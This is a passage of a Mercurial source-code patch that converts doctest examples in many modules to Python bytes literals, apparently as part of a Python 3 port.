     ['# HG changeset patch', '# Date z', '# Parent  y']
     """
     start = lines.index('# HG changeset patch') + 1
@@ -194,19 +196,19 @@
 
 def insertplainheader(lines, header, value):
     """For lines containing a plain patch header, add a header line with value.
-    >>> insertplainheader([], 'Date', 'z')
+    >>> insertplainheader([], b'Date', b'z')
     ['Date: z']
-    >>> insertplainheader([''], 'Date', 'z')
+    >>> insertplainheader([b''], b'Date', b'z')
     ['Date: z', '']
-    >>> insertplainheader(['x'], 'Date', 'z')
+    >>> insertplainheader([b'x'], b'Date', b'z')
     ['Date: z', '', 'x']
-    >>> insertplainheader(['From: y', 'x'], 'Date', 'z')
+    >>> insertplainheader([b'From: y', b'x'], b'Date', b'z')
     ['From: y', 'Date: z', '', 'x']
-    >>> insertplainheader([' date : x', ' from : y', ''], 'From', 'z')
+    >>> insertplainheader([b' date : x', b' from : y', b''], b'From', b'z')
     [' date : x', 'From: z', '']
-    >>> insertplainheader(['', 'Date: y'], 'Date', 'z')
+    >>> insertplainheader([b'', b'Date: y'], b'Date', b'z')
     ['Date: z', '', 'Date: y']
-    >>> insertplainheader(['foo: bar', 'DATE: z', 'x'], 'From', 'y')
+    >>> insertplainheader([b'foo: bar', b'DATE: z', b'x'], b'From', b'y')
     ['From: y', 'foo: bar', 'DATE: z', '', 'x']
     """
     newprio = PLAINHEADERS[header.lower()]
diff --git a/mercurial/byterange.py b/mercurial/byterange.py
--- a/mercurial/byterange.py
+++ b/mercurial/byterange.py
@@ -91,7 +91,7 @@
     Examples:
         # expose 10 bytes, starting at byte position 20, from
         # /etc/aliases.
-        >>> fo = RangeableFileObject(file('/etc/passwd', 'r'), (20,30))
+        >>> fo = RangeableFileObject(file(b'/etc/passwd', b'r'), (20,30))
         # seek seeks within the range (to position 23 in this case)
         >>> fo.seek(3)
         # tell tells where your at _within the range_ (position 3 in
diff --git a/mercurial/changelog.py b/mercurial/changelog.py
--- a/mercurial/changelog.py
+++ b/mercurial/changelog.py
@@ -27,8 +27,8 @@
 
 def _string_escape(text):
     """
-    >>> d = {'nl': chr(10), 'bs': chr(92), 'cr': chr(13), 'nul': chr(0)}
-    >>> s = "ab%(nl)scd%(bs)s%(bs)sn%(nul)sab%(cr)scd%(bs)s%(nl)s" % d
+    >>> d = {b'nl': chr(10), b'bs': chr(92), b'cr': chr(13), b'nul': chr(0)}
+    >>> s = b"ab%(nl)scd%(bs)s%(bs)sn%(nul)sab%(cr)scd%(bs)s%(nl)s" % d
     >>> s
     'ab\\ncd\\\\\\\\n\\x00ab\\rcd\\\\\\n'
     >>> res = _string_escape(s)
@@ -41,11 +41,11 @@
 
 def decodeextra(text):
     """
-    >>> sorted(decodeextra(encodeextra({'foo': 'bar', 'baz': chr(0) + '2'})
+    >>> sorted(decodeextra(encodeextra({b'foo': b'bar', b'baz': chr(0) + b'2'})
     ...                    ).iteritems())
     [('baz', '\\x002'), ('branch', 'default'), ('foo', 'bar')]
-    >>> sorted(decodeextra(encodeextra({'foo': 'bar',
-    ...                                 'baz': chr(92) + chr(0) + '2'})
+    >>> sorted(decodeextra(encodeextra({b'foo': b'bar',
+    ...                                 b'baz': chr(92) + chr(0) + b'2'})
     ...                    ).iteritems())
     [('baz', '\\\\\\x002'), ('branch', 'default'), ('foo', 'bar')]
     """
diff --git a/mercurial/color.py b/mercurial/color.py
--- a/mercurial/color.py
+++ b/mercurial/color.py
@@ -320,10 +320,10 @@
 def _mergeeffects(text, start, stop):
     """Insert start sequence at every occurrence of stop sequence
 
-    >>> s = _mergeeffects('cyan', '[C]', '|')
-    >>> s = _mergeeffects(s + 'yellow', '[Y]', '|')
-    >>> s = _mergeeffects('ma' + s + 'genta', '[M]', '|')
-    >>> s = _mergeeffects('red' + s, '[R]', '|')
+    >>> s = _mergeeffects(b'cyan', b'[C]', b'|')
+    >>> s = _mergeeffects(s + b'yellow', b'[Y]', b'|')
+    >>> s = _mergeeffects(b'ma' + s + b'genta', b'[M]', b'|')
+    >>> s = _mergeeffects(b'red' + s, b'[R]', b'|')
     >>> s
     '[R]red[M]ma[Y][C]cyan|[R][M][Y]yellow|[R][M]genta|'
     """
diff --git a/mercurial/config.py b/mercurial/config.py
--- a/mercurial/config.py
+++ b/mercurial/config.py
@@ -183,7 +183,7 @@
 def parselist(value):
     """parse a configuration value as a list of comma/space separated strings
 
-    >>> parselist('this,is "a small" ,test')
+    >>> parselist(b'this,is "a small" ,test')
     ['this', 'is', 'a small', 'test']
     """
 
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -1112,16 +1112,16 @@
     Additionally, if `skipchild` is True, replace all other lines with parent
     annotate data as well such that child is never blamed for any lines.
 
-    >>> oldfctx = 'old'
-    >>> p1fctx, p2fctx, childfctx = 'p1', 'p2', 'c'
-    >>> olddata = 'a\nb\n'
-    >>> p1data = 'a\nb\nc\n'
-    >>> p2data = 'a\nc\nd\n'
-    >>> childdata = 'a\nb2\nc\nc2\nd\n'
+    >>> oldfctx = b'old'
+    >>> p1fctx, p2fctx, childfctx = b'p1', b'p2', b'c'
+    >>> olddata = b'a\nb\n'
+    >>> p1data = b'a\nb\nc\n'
+    >>> p2data = b'a\nc\nd\n'
+    >>> childdata = b'a\nb2\nc\nc2\nd\n'
     >>> diffopts = mdiff.diffopts()
 
     >>> def decorate(text, rev):
-    ...     return ([(rev, i) for i in xrange(1, text.count('\n') + 1)], text)
+    ...     return ([(rev, i) for i in xrange(1, text.count(b'\n') + 1)], text)
 
     Basic usage:
 
diff --git a/mercurial/dagparser.py b/mercurial/dagparser.py
--- a/mercurial/dagparser.py
+++ b/mercurial/dagparser.py
@@ -54,7 +54,7 @@
 
     Example of a complex graph (output not shown for brevity):
 
-        >>> len(list(parsedag("""
+        >>> len(list(parsedag(b"""
         ...
         ... +3         # 3 nodes in linear run
         ... :forkhere  # a label for the last of the 3 nodes from above
@@ -74,88 +74,88 @@
 
     Empty list:
 
-        >>> list(parsedag(""))
+        >>> list(parsedag(b""))
         []
 
     A simple linear run:
 
-        >>> list(parsedag("+3"))
+        >>> list(parsedag(b"+3"))
         [('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [1]))]
 
     Some non-standard ways to define such runs:
 
-        >>> list(parsedag("+1+2"))
+        >>> list(parsedag(b"+1+2"))
         [('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [1]))]
 
-        >>> list(parsedag("+1*1*"))
+        >>> list(parsedag(b"+1*1*"))
         [('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [1]))]
 
-        >>> list(parsedag("*"))
+        >>> list(parsedag(b"*"))
         [('n', (0, [-1]))]
 
-        >>> list(parsedag("..."))
+        >>> list(parsedag(b"..."))
         [('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [1]))]
 
     A fork and a join, using numeric back references:
 
-        >>> list(parsedag("+2*2*/2"))
+        >>> list(parsedag(b"+2*2*/2"))
         [('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [0])), ('n', (3, [2, 1]))]
 
-        >>> list(parsedag("+2<2+1/2"))
+        >>> list(parsedag(b"+2<2+1/2"))
         [('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [0])), ('n', (3, [2, 1]))]
 
     Placing a label:
 
-        >>> list(parsedag("+1 :mylabel +1"))
+        >>> list(parsedag(b"+1 :mylabel +1"))
         [('n', (0, [-1])), ('l', (0, 'mylabel')), ('n', (1, [0]))]
 
     An empty label (silly, really):
 
-        >>> list(parsedag("+1:+1"))
+        >>> list(parsedag(b"+1:+1"))
         [('n', (0, [-1])), ('l', (0, '')), ('n', (1, [0]))]
 
     Fork and join, but with labels instead of numeric back references:
 
-        >>> list(parsedag("+1:f +1:p2 *f */p2"))
+        >>> list(parsedag(b"+1:f +1:p2 *f */p2"))
         [('n', (0, [-1])), ('l', (0, 'f')), ('n', (1, [0])), ('l', (1, 'p2')),
          ('n', (2, [0])), ('n', (3, [2, 1]))]
 
-        >>> list(parsedag("+1:f +1:p2 <f +1 /p2"))
+        >>> list(parsedag(b"+1:f +1:p2 <f +1 /p2"))
         [('n', (0, [-1])), ('l', (0, 'f')), ('n', (1, [0])), ('l', (1, 'p2')),
          ('n', (2, [0])), ('n', (3, [2, 1]))]
 
     Restarting from the root:
 
-        >>> list(parsedag("+1 $ +1"))
+        >>> list(parsedag(b"+1 $ +1"))
         [('n', (0, [-1])), ('n', (1, [-1]))]
 
     Annotations, which are meant to introduce sticky state for subsequent nodes:
 
-        >>> list(parsedag("+1 @ann +1"))
+        >>> list(parsedag(b"+1 @ann +1"))
         [('n', (0, [-1])), ('a', 'ann'), ('n', (1, [0]))]
 
-        >>> list(parsedag('+1 @"my annotation" +1'))
+        >>> list(parsedag(b'+1 @"my annotation" +1'))
         [('n', (0, [-1])), ('a', 'my annotation'), ('n', (1, [0]))]
 
     Commands, which are meant to operate on the most recently created node:
 
-        >>> list(parsedag("+1 !cmd +1"))
+        >>> list(parsedag(b"+1 !cmd +1"))
         [('n', (0, [-1])), ('c', 'cmd'), ('n', (1, [0]))]
 
-        >>> list(parsedag('+1 !"my command" +1'))
+        >>> list(parsedag(b'+1 !"my command" +1'))
         [('n', (0, [-1])), ('c', 'my command'), ('n', (1, [0]))]
 
-        >>> list(parsedag('+1 !!my command line\\n +1'))
+        >>> list(parsedag(b'+1 !!my command line\\n +1'))
         [('n', (0, [-1])), ('C', 'my command line'), ('n', (1, [0]))]
 
     Comments, which extend to the end of the line:
 
-        >>> list(parsedag('+1 # comment\\n+1'))
+        >>> list(parsedag(b'+1 # comment\\n+1'))
         [('n', (0, [-1])), ('n', (1, [0]))]
 
     Error:
 
-        >>> try: list(parsedag('+1 bad'))
+        >>> try: list(parsedag(b'+1 bad'))
         ... except Exception, e: print(e)
         invalid character in dag description: bad...
 
@@ -413,52 +413,54 @@
 
     Linear run:
 
-        >>> dagtext([('n', (0, [-1])), ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'n', (1, [0]))])
         '+2'
 
     Two roots:
 
-        >>> dagtext([('n', (0, [-1])), ('n', (1, [-1]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'n', (1, [-1]))])
         '+1 $ +1'
 
     Fork and join:
 
-        >>> dagtext([('n', (0, [-1])), ('n', (1, [0])), ('n', (2, [0])),
-        ...          ('n', (3, [2, 1]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'n', (1, [0])), (b'n', (2, [0])),
+        ...          (b'n', (3, [2, 1]))])
         '+2 *2 */2'
 
     Fork and join with labels:
 
-        >>> dagtext([('n', (0, [-1])), ('l', (0, 'f')), ('n', (1, [0])),
-        ...          ('l', (1, 'p2')), ('n', (2, [0])), ('n', (3, [2, 1]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'l', (0, b'f')), (b'n', (1, [0])),
+        ...          (b'l', (1, b'p2')), (b'n', (2, [0])), (b'n', (3, [2, 1]))])
         '+1 :f +1 :p2 *f */p2'
 
     Annotations:
 
-        >>> dagtext([('n', (0, [-1])), ('a', 'ann'), ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'a', b'ann'), (b'n', (1, [0]))])
         '+1 @ann +1'
 
-        >>> dagtext([('n', (0, [-1])),
-        ...          ('a', 'my annotation'),
-        ...          ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])),
+        ...          (b'a', b'my annotation'),
+        ...          (b'n', (1, [0]))])
         '+1 @"my annotation" +1'
 
     Commands:
 
-        >>> dagtext([('n', (0, [-1])), ('c', 'cmd'), ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'c', b'cmd'), (b'n', (1, [0]))])
         '+1 !cmd +1'
 
-        >>> dagtext([('n', (0, [-1])), ('c', 'my command'), ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])),
+        ...          (b'c', b'my command'),
+        ...          (b'n', (1, [0]))])
         '+1 !"my command" +1'
 
-        >>> dagtext([('n', (0, [-1])),
-        ...          ('C', 'my command line'),
-        ...          ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])),
+        ...          (b'C', b'my command line'),
+        ...          (b'n', (1, [0]))])
         '+1 !!my command line\\n+1'
 
     Comments:
 
-        >>> dagtext([('n', (0, [-1])), ('#', ' comment'), ('n', (1, [0]))])
+        >>> dagtext([(b'n', (0, [-1])), (b'#', b' comment'), (b'n', (1, [0]))])
         '+1 # comment\\n+1'
 
         >>> dagtext([])
@@ -466,7 +468,7 @@
 
     Combining parsedag and dagtext:
 
-        >>> dagtext(parsedag('+1 :f +1 :p2 *f */p2'))
+        >>> dagtext(parsedag(b'+1 :f +1 :p2 *f */p2'))
         '+1 :f +1 :p2 *f */p2'
 
     '''
diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py
--- a/mercurial/dispatch.py
+++ b/mercurial/dispatch.py
@@ -607,20 +607,20 @@
     The values are listed in the order they appear in args.
     The options and values are removed from args.
 
-    >>> args = ['x', '--cwd', 'foo', 'y']
-    >>> _earlygetopt(['--cwd'], args), args
+    >>> args = [b'x', b'--cwd', b'foo', b'y']
+    >>> _earlygetopt([b'--cwd'], args), args
     (['foo'], ['x', 'y'])
 
-    >>> args = ['x', '--cwd=bar', 'y']
-    >>> _earlygetopt(['--cwd'], args), args
+    >>> args = [b'x', b'--cwd=bar', b'y']
+    >>> _earlygetopt([b'--cwd'], args), args
     (['bar'], ['x', 'y'])
 
-    >>> args = ['x', '-R', 'foo', 'y']
-    >>> _earlygetopt(['-R'], args), args
+    >>> args = [b'x', b'-R', b'foo', b'y']
+    >>> _earlygetopt([b'-R'], args), args
     (['foo'], ['x', 'y'])
 
-    >>> args = ['x', '-Rbar', 'y']
-    >>> _earlygetopt(['-R'], args), args
+    >>> args = [b'x', b'-Rbar', b'y']
+    >>> _earlygetopt([b'-R'], args), args
     (['bar'], ['x', 'y'])
     """
     try:
diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -108,19 +108,19 @@
     strings next to their local representation to allow lossless
     round-trip conversion back to UTF-8.
 
-    >>> u = 'foo: \\xc3\\xa4' # utf-8
+    >>> u = b'foo: \\xc3\\xa4' # utf-8
     >>> l = tolocal(u)
     >>> l
     'foo: ?'
     >>> fromlocal(l)
     'foo: \\xc3\\xa4'
-    >>> u2 = 'foo: \\xc3\\xa1'
+    >>> u2 = b'foo: \\xc3\\xa1'
     >>> d = { l: 1, tolocal(u2): 2 }
     >>> len(d) # no collision
     2
-    >>> 'foo: ?' in d
+    >>> b'foo: ?' in d
     False
-    >>> l1 = 'foo: \\xe4' # historical latin1 fallback
+    >>> l1 = b'foo: \\xe4' # historical latin1 fallback
     >>> l = tolocal(l1)
     >>> l
     'foo: ?'
@@ -247,10 +247,10 @@
     If 'leftside' is True, left side of string 's' is trimmed.
     'ellipsis' is always placed at trimmed side.
 
-    >>> ellipsis = '+++'
+    >>> ellipsis = b'+++'
     >>> from . import encoding
-    >>> encoding.encoding = 'utf-8'
-    >>> t= '1234567890'
+    >>> encoding.encoding = b'utf-8'
+    >>> t = b'1234567890'
     >>> print trim(t, 12, ellipsis=ellipsis)
     1234567890
     >>> print trim(t, 10, ellipsis=ellipsis)
@@ -285,7 +285,7 @@
     +++
     >>> print trim(t, 4, ellipsis=ellipsis, leftside=True)
     +++
-    >>> t = '\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa' # invalid byte sequence
+    >>> t = b'\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa' # invalid byte sequence
     >>> print trim(t, 12, ellipsis=ellipsis)
     \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
     >>> print trim(t, 10, ellipsis=ellipsis)
@@ -406,35 +406,35 @@
 
     (escapes are doubled in these tests)
 
-    >>> jsonescape('this is a test')
+    >>> jsonescape(b'this is a test')
     'this is a test'
-    >>> jsonescape('escape characters: \\0 \\x0b \\x7f')
+    >>> jsonescape(b'escape characters: \\0 \\x0b \\x7f')
     'escape characters: \\\\u0000 \\\\u000b \\\\u007f'
-    >>> jsonescape('escape characters: \\b \\t \\n \\f \\r \\" \\\\')
+    >>> jsonescape(b'escape characters: \\b \\t \\n \\f \\r \\" \\\\')
     'escape characters: \\\\b \\\\t \\\\n \\\\f \\\\r \\\\" \\\\\\\\'
-    >>> jsonescape('a weird byte: \\xdd')
+    >>> jsonescape(b'a weird byte: \\xdd')
     'a weird byte: \\xed\\xb3\\x9d'
-    >>> jsonescape('utf-8: caf\\xc3\\xa9')
+    >>> jsonescape(b'utf-8: caf\\xc3\\xa9')
     'utf-8: caf\\xc3\\xa9'
-    >>> jsonescape('')
+    >>> jsonescape(b'')
     ''
 
     If paranoid, non-ascii and common troublesome characters are also escaped.
     This is suitable for web output.
 
-    >>> s = 'escape characters: \\0 \\x0b \\x7f'
+    >>> s = b'escape characters: \\0 \\x0b \\x7f'
     >>> assert jsonescape(s) == jsonescape(s, paranoid=True)
-    >>> s = 'escape characters: \\b \\t \\n \\f \\r \\" \\\\'
+    >>> s = b'escape characters: \\b \\t \\n \\f \\r \\" \\\\'
     >>> assert jsonescape(s) == jsonescape(s, paranoid=True)
-    >>> jsonescape('escape boundary: \\x7e \\x7f \\xc2\\x80', paranoid=True)
+    >>> jsonescape(b'escape boundary: \\x7e \\x7f \\xc2\\x80', paranoid=True)
     'escape boundary: ~ \\\\u007f \\\\u0080'
-    >>> jsonescape('a weird byte: \\xdd', paranoid=True)
+    >>> jsonescape(b'a weird byte: \\xdd', paranoid=True)
     'a weird byte: \\\\udcdd'
-    >>> jsonescape('utf-8: caf\\xc3\\xa9', paranoid=True)
+    >>> jsonescape(b'utf-8: caf\\xc3\\xa9', paranoid=True)
     'utf-8: caf\\\\u00e9'
-    >>> jsonescape('non-BMP: \\xf0\\x9d\\x84\\x9e', paranoid=True)
+    >>> jsonescape(b'non-BMP: \\xf0\\x9d\\x84\\x9e', paranoid=True)
     'non-BMP: \\\\ud834\\\\udd1e'
-    >>> jsonescape('<foo@example.org>', paranoid=True)
+    >>> jsonescape(b'<foo@example.org>', paranoid=True)
     '\\\\u003cfoo@example.org\\\\u003e'
     '''
 
@@ -531,18 +531,18 @@
     that's was passed through tolocal will remain in UTF-8.
 
     >>> roundtrip = lambda x: fromutf8b(toutf8b(x)) == x
-    >>> m = "\\xc3\\xa9\\x99abcd"
+    >>> m = b"\\xc3\\xa9\\x99abcd"
     >>> toutf8b(m)
     '\\xc3\\xa9\\xed\\xb2\\x99abcd'
     >>> roundtrip(m)
     True
-    >>> roundtrip("\\xc2\\xc2\\x80")
+    >>> roundtrip(b"\\xc2\\xc2\\x80")
     True
-    >>> roundtrip("\\xef\\xbf\\xbd")
+    >>> roundtrip(b"\\xef\\xbf\\xbd")
     True
-    >>> roundtrip("\\xef\\xef\\xbf\\xbd")
+    >>> roundtrip(b"\\xef\\xef\\xbf\\xbd")
     True
-    >>> roundtrip("\\xf1\\x80\\x80\\x80\\x80")
+    >>> roundtrip(b"\\xf1\\x80\\x80\\x80\\x80")
     True
     '''
 
diff --git a/mercurial/formatter.py b/mercurial/formatter.py
--- a/mercurial/formatter.py
+++ b/mercurial/formatter.py
@@ -52,14 +52,14 @@
 Basic example:
 
 >>> def files(ui, fm):
-...     files = [('foo', 123, (0, 0)), ('bar', 456, (1, 0))]
+...     files = [(b'foo', 123, (0, 0)), (b'bar', 456, (1, 0))]
 ...     for f in files:
 ...         fm.startitem()
-...         fm.write('path', '%s', f[0])
-...         fm.condwrite(ui.verbose, 'date', '  %s',
-...                      fm.formatdate(f[2], '%Y-%m-%d %H:%M:%S'))
+...         fm.write(b'path', b'%s', f[0])
+...         fm.condwrite(ui.verbose, b'date', b'  %s',
+...                      fm.formatdate(f[2], b'%Y-%m-%d %H:%M:%S'))
 ...         fm.data(size=f[1])
-...         fm.plain('\\n')
+...         fm.plain(b'\\n')
 ...     fm.end()
 >>> show(files)
 foo
@@ -67,7 +67,7 @@
 >>> show(files, verbose=True)
 foo  1970-01-01 00:00:00
 bar  1970-01-01 00:00:01
->>> show(files, template='json')
+>>> show(files, template=b'json')
 [
  {
   "date": [0, 0],
@@ -80,7 +80,7 @@
   "size": 456
  }
 ]
->>> show(files, template='path: {path}\\ndate: {date|rfc3339date}\\n')
+>>> show(files, template=b'path: {path}\\ndate: {date|rfc3339date}\\n')
 path: foo
 date: 1970-01-01T00:00:00+00:00
 path: bar
@@ -90,14 +90,14 @@
 
 >>> def subrepos(ui, fm):
 ...     fm.startitem()
-...     fm.write('repo', '[%s]\\n', 'baz')
-...     files(ui, fm.nested('files'))
+...     fm.write(b'repo', b'[%s]\\n', b'baz')
+...     files(ui, fm.nested(b'files'))
 ...     fm.end()
 >>> show(subrepos)
 [baz]
 foo
 bar
->>> show(subrepos, template='{repo}: {join(files % "{path}", ", ")}\\n')
+>>> show(subrepos, template=b'{repo}: {join(files % "{path}", ", ")}\\n')
 baz: foo, bar
 """
 
diff --git a/mercurial/hg.py b/mercurial/hg.py
--- a/mercurial/hg.py
+++ b/mercurial/hg.py
@@ -180,17 +180,17 @@
 def defaultdest(source):
     '''return default destination of clone if none is given
 
-    >>> defaultdest('foo')
+    >>> defaultdest(b'foo')
     'foo'
-    >>> defaultdest('/foo/bar')
+    >>> defaultdest(b'/foo/bar')
     'bar'
-    >>> defaultdest('/')
+    >>> defaultdest(b'/')
     ''
-    >>> defaultdest('')
+    >>> defaultdest(b'')
     ''
-    >>> defaultdest('http://example.org/')
+    >>> defaultdest(b'http://example.org/')
     ''
-    >>> defaultdest('http://example.org/foo/')
+    >>> defaultdest(b'http://example.org/foo/')
     'foo'
     '''
     path = util.url(source).path
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -70,9 +70,9 @@
     """yield url paths and filesystem paths from a list of repo paths
 
     >>> conv = lambda seq: [(v, util.pconvert(p)) for v,p in seq]
-    >>> conv(urlrepos('hg', '/opt', ['/opt/r', '/opt/r/r', '/opt']))
+    >>> conv(urlrepos(b'hg', b'/opt', [b'/opt/r', b'/opt/r/r', b'/opt']))
     [('hg/r', '/opt/r'), ('hg/r/r', '/opt/r/r'), ('hg', '/opt')]
-    >>> conv(urlrepos('', '/opt', ['/opt/r', '/opt/r/r', '/opt']))
+    >>> conv(urlrepos(b'', b'/opt', [b'/opt/r', b'/opt/r/r', b'/opt']))
     [('r', '/opt/r'), ('r/r', '/opt/r/r'), ('', '/opt')]
     """
     for path in paths:
@@ -84,17 +84,17 @@
     """
     Extract CGI variables from baseurl
 
-    >>> geturlcgivars("http://host.org/base", "80")
+    >>> geturlcgivars(b"http://host.org/base", b"80")
     ('host.org', '80', '/base')
-    >>> geturlcgivars("http://host.org:8000/base", "80")
+    >>> geturlcgivars(b"http://host.org:8000/base", b"80")
     ('host.org', '8000', '/base')
-    >>> geturlcgivars('/base', 8000)
+    >>> geturlcgivars(b'/base', 8000)
     ('', '8000', '/base')
-    >>> geturlcgivars("base", '8000')
+    >>> geturlcgivars(b"base", b'8000')
     ('', '8000', '/base')
-    >>> geturlcgivars("http://host", '8000')
+    >>> geturlcgivars(b"http://host", b'8000')
     ('host', '8000', '/')
-    >>> geturlcgivars("http://host/", '8000')
+    >>> geturlcgivars(b"http://host/", b'8000')
     ('host', '8000', '/')
     """
     u = util.url(baseurl)
diff --git a/mercurial/match.py b/mercurial/match.py
--- a/mercurial/match.py
+++ b/mercurial/match.py
@@ -580,28 +580,28 @@
 
     The paths are remapped to remove/insert the path as needed:
 
-    >>> m1 = match('root', '', ['a.txt', 'sub/b.txt'])
-    >>> m2 = subdirmatcher('sub', m1)
-    >>> bool(m2('a.txt'))
+    >>> m1 = match(b'root', b'', [b'a.txt', b'sub/b.txt'])
+    >>> m2 = subdirmatcher(b'sub', m1)
+    >>> bool(m2(b'a.txt'))
     False
-    >>> bool(m2('b.txt'))
+    >>> bool(m2(b'b.txt'))
     True
-    >>> bool(m2.matchfn('a.txt'))
+    >>> bool(m2.matchfn(b'a.txt'))
     False
-    >>> bool(m2.matchfn('b.txt'))
+    >>> bool(m2.matchfn(b'b.txt'))
     True
     >>> m2.files()
     ['b.txt']
-    >>> m2.exact('b.txt')
+    >>> m2.exact(b'b.txt')
     True
-    >>> util.pconvert(m2.rel('b.txt'))
+    >>> util.pconvert(m2.rel(b'b.txt'))
     'sub/b.txt'
     >>> def bad(f, msg):
-    ...     print "%s: %s" % (f, msg)
+    ...     print b"%s: %s" % (f, msg)
     >>> m1.bad = bad
-    >>> m2.bad('x.txt', 'No such file')
+    >>> m2.bad(b'x.txt', b'No such file')
     sub/x.txt: No such file
-    >>> m2.abs('c.txt')
+    >>> m2.abs(b'c.txt')
     'sub/c.txt'
     """
 
@@ -703,21 +703,21 @@
 def _globre(pat):
     r'''Convert an extended glob string to a regexp string.
 
-    >>> print _globre(r'?')
+    >>> print _globre(br'?')
     .
-    >>> print _globre(r'*')
+    >>> print _globre(br'*')
     [^/]*
-    >>> print _globre(r'**')
+    >>> print _globre(br'**')
     .*
-    >>> print _globre(r'**/a')
+    >>> print _globre(br'**/a')
     (?:.*/)?a
-    >>> print _globre(r'a/**/b')
+    >>> print _globre(br'a/**/b')
     a\/(?:.*/)?b
-    >>> print _globre(r'[a*?!^][^b][!c]')
+    >>> print _globre(br'[a*?!^][^b][!c]')
     [a*?!^][\^b][^c]
-    >>> print _globre(r'{a,b}')
+    >>> print _globre(br'{a,b}')
     (?:a|b)
-    >>> print _globre(r'.\*\?')
+    >>> print _globre(br'.\*\?')
     \.\*\?
     '''
     i, n = 0, len(pat)
@@ -910,17 +910,20 @@
     include directories that need to be implicitly considered as either, such as
     parent directories.
 
-    >>> _rootsanddirs(\
-        [('glob', 'g/h/*', ''), ('glob', 'g/h', ''), ('glob', 'g*', '')])
+    >>> _rootsanddirs(
+    ...     [(b'glob', b'g/h/*', b''), (b'glob', b'g/h', b''),
+    ...      (b'glob', b'g*', b'')])
     (['g/h', 'g/h', '.'], ['g', '.'])
-    >>> _rootsanddirs(\
-        [('rootfilesin', 'g/h', ''), ('rootfilesin', '', '')])
+    >>> _rootsanddirs(
+    ...     [(b'rootfilesin', b'g/h', b''), (b'rootfilesin', b'', b'')])
     ([], ['g/h', '.', 'g', '.'])
-    >>> _rootsanddirs(\
-        [('relpath', 'r', ''), ('path', 'p/p', ''), ('path', '', '')])
+    >>> _rootsanddirs(
+    ...     [(b'relpath', b'r', b''), (b'path', b'p/p', b''),
+    ...      (b'path', b'', b'')])
     (['r', 'p/p', '.'], ['p', '.'])
-    >>> _rootsanddirs(\
-        [('relglob', 'rg*', ''), ('re', 're/', ''), ('relre', 'rr', '')])
+    >>> _rootsanddirs(
+    ...     [(b'relglob', b'rg*', b''), (b're', b're/', b''),
+    ...      (b'relre', b'rr', b'')])
     (['.', '.', '.'], ['.'])
     '''
     r, d = _patternrootsanddirs(kindpats)
@@ -937,9 +940,9 @@
 def _explicitfiles(kindpats):
     '''Returns the potential explicit filenames from the patterns.
 
-    >>> _explicitfiles([('path', 'foo/bar', '')])
+    >>> _explicitfiles([(b'path', b'foo/bar', b'')])
     ['foo/bar']
-    >>> _explicitfiles([('rootfilesin', 'foo/bar', '')])
+    >>> _explicitfiles([(b'rootfilesin', b'foo/bar', b'')])
     []
     '''
     # Keep only the pattern kinds where one can specify filenames (vs only
diff --git a/mercurial/minirst.py b/mercurial/minirst.py
--- a/mercurial/minirst.py
+++ b/mercurial/minirst.py
@@ -46,13 +46,13 @@
     '''
     Apply a list of (find, replace) pairs to a text.
 
-    >>> replace("foo bar", [('f', 'F'), ('b', 'B')])
+    >>> replace(b"foo bar", [(b'f', b'F'), (b'b', b'B')])
     'Foo Bar'
-    >>> encoding.encoding = 'latin1'
-    >>> replace('\\x81\\\\', [('\\\\', '/')])
+    >>> encoding.encoding = b'latin1'
+    >>> replace(b'\\x81\\\\', [(b'\\\\', b'/')])
     '\\x81/'
-    >>> encoding.encoding = 'shiftjis'
-    >>> replace('\\x81\\\\', [('\\\\', '/')])
+    >>> encoding.encoding = b'shiftjis'
+    >>> replace(b'\\x81\\\\', [(b'\\\\', b'/')])
     '\\x81\\\\'
     '''
 
diff --git a/mercurial/parser.py b/mercurial/parser.py
--- a/mercurial/parser.py
+++ b/mercurial/parser.py
@@ -97,15 +97,15 @@
 def splitargspec(spec):
     """Parse spec of function arguments into (poskeys, varkey, keys, optkey)
 
-    >>> splitargspec('')
+    >>> splitargspec(b'')
     ([], None, [], None)
-    >>> splitargspec('foo bar')
+    >>> splitargspec(b'foo bar')
     ([], None, ['foo', 'bar'], None)
-    >>> splitargspec('foo *bar baz **qux')
+    >>> splitargspec(b'foo *bar baz **qux')
     (['foo'], 'bar', ['baz'], 'qux')
-    >>> splitargspec('*foo')
+    >>> splitargspec(b'*foo')
     ([], 'foo', [], None)
-    >>> splitargspec('**foo')
+    >>> splitargspec(b'**foo')
     ([], None, [], 'foo')
     """
     optkey = None
@@ -221,39 +221,39 @@
     """Flatten chained infix operations to reduce usage of Python stack
 
     >>> def f(tree):
-    ...     print prettyformat(simplifyinfixops(tree, ('or',)), ('symbol',))
-    >>> f(('or',
-    ...     ('or',
-    ...       ('symbol', '1'),
-    ...       ('symbol', '2')),
-    ...     ('symbol', '3')))
+    ...     print prettyformat(simplifyinfixops(tree, (b'or',)), (b'symbol',))
+    >>> f((b'or',
+    ...     (b'or',
+    ...       (b'symbol', b'1'),
+    ...       (b'symbol', b'2')),
+    ...     (b'symbol', b'3')))
     (or
       (symbol '1')
       (symbol '2')
       (symbol '3'))
-    >>> f(('func',
-    ...     ('symbol', 'p1'),
-    ...     ('or',
